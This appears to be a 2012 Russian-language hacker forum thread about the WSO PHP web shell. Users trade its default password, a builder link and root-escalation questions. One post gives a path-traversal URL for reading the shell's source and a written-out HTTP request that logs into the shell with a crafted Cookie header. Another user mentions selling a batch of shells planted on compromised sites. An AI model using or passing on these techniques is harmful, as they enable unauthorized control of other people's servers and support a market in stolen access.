Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
 |
|
21.10.2012, 20:47
|
|
Постоянный
Регистрация: 10.06.2011
Сообщений: 939
С нами:
7854806
Репутация:
173
|
|
Сообщение от null
Какой пароль стоит по умолчанию для входа или, где его ставить?
|
|
|
22.10.2012, 01:17
|
|
Участник форума
Регистрация: 25.12.2011
Сообщений: 103
С нами:
7569686
Репутация:
5
|
|
Сообщение от null
Какой пароль стоит по умолчанию для входа или, где его ставить?
Открой исходник, там всё есть
или задай сам, с нужными опциями
http://kronus.me/cn/wso-builder/1.04/
|
|
|
|
23.10.2012, 04:56
|
|
Новичок
Регистрация: 29.03.2010
Сообщений: 0
С нами:
8484226
Репутация:
0
|
|
Сообщение от null
Какой пароль стоит по умолчанию для входа или, где его ставить?
root
|
|
|
|
23.10.2012, 21:43
|
|
Познающий
Регистрация: 16.05.2012
Сообщений: 77
С нами:
7363766
Репутация:
0
|
|
как его научить работать с suid файлами?
|
|
|
|
24.10.2012, 06:45
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 22
С нами:
9176038
Репутация:
8
|
|
Сообщение от dean999
как его научить работать с suid файлами?
Используя вот это
|
|
|
|
24.10.2012, 10:28
|
|
Познающий
Регистрация: 16.05.2012
Сообщений: 77
С нами:
7363766
Репутация:
0
|
|
WSO 2.5 modif - выдает ошибку "Query did not return anything"
что в строке PHP указать? я вроде указываю путь из php.ini - но все равно, если ввести 2 поля верхних то он показывает что есть рут, поле 3 ввожу, и все ошибка.
Думаю что то связано с PHP Интерпретатором, wrapper.php в связке с wso_root.php, перестали работать, можете помочь?)
|
|
|
|
24.10.2012, 13:35
|
|
Постоянный
Регистрация: 30.08.2010
Сообщений: 327
С нами:
8263766
Репутация:
11
|
|
Сообщение от dean999
WSO 2.5 modif - выдает ошибку "Query did not return anything"
что в строке PHP указать? я вроде указываю путь из php.ini - но все равно, если ввести 2 поля верхних то он показывает что есть рут, поле 3 ввожу, и все ошибка.
Думаю что то связано с PHP Интерпретатором, wrapper.php в связке с wso_root.php, перестали работать, можете помочь?)
напиши в личку,может помогу
|
|
|
|
25.10.2012, 14:14
|
|
Познающий
Регистрация: 14.10.2012
Сообщений: 48
С нами:
7146326
Репутация:
10
|
|
А чего нет в 2.5 ? Зачем вообще обновление?
|
|
|
|
01.11.2012, 19:07
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Не то, что бы это дикий пиздец, но если вдруг, вы забыли пароль к своему шеллу WSO, и у вас есть возможность прочитать исходник, можно увидеть вполне элементарную строчку:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$auth_pass[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"5deeb7c8589e337d46a3b2f807af33fd"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]# md5(пароль)[/COLOR][/COLOR]
Но к сожалению если ваша память коротка, а cmd5 и подобные сервисы не в силах сбрутить пароль по типу " md5(FmST[3XjPW) = 5deeb7c8589e337d46a3b2f807af33fd", а текстовый документ с исходным паролем чудом не сохранился. Расстраиваться не нужно. Достаточно послать в запросе в заголовке Cookie md5 сумму хоста, и прочитанный хеш.
К примеру, шелл тут: http://google.com/images/wso.php
Возможность прочитать исходник тут: http://google.com/index.php?file=../images/wso.php
Получаем:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$auth_pass[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"5deeb7c8589e337d46a3b2f807af33fd"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]# md5(пароль)[/COLOR][/COLOR]
Посылаем запрос:
Код:
GET /images/wso.php HTTP/1.1
Host: google.com
Cookie: 1d5920f4b44b27a802bd77c4f0536f5a=5deeb7c8589e337d46a3b2f807af33fd
Меняем пароль, на тот который в состоянии запомнить, и всё.
Не знаю кому эта информация сможет пригодиться, но пусть полежит здесь. |
|
|
|
01.11.2012, 19:19
|
|
Познающий
Регистрация: 14.10.2012
Сообщений: 48
С нами:
7146326
Репутация:
10
|
|
У меня сделка через 4 часа..
Человек оплачивает хххх$ с протекцией, потом получает пачку шеллов залитый, потом передаёт код, а потом я передаю пароль. Вот я и думаю теперь насколько вероятно для него будет не дать мне код протекции (человек сомнительный, если честно), а просто попытаться расшифровать хэш =)
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 5 (пользователей: 0 , гостей: 5)
|
|
|
|
Похожие темы
Линейный вид
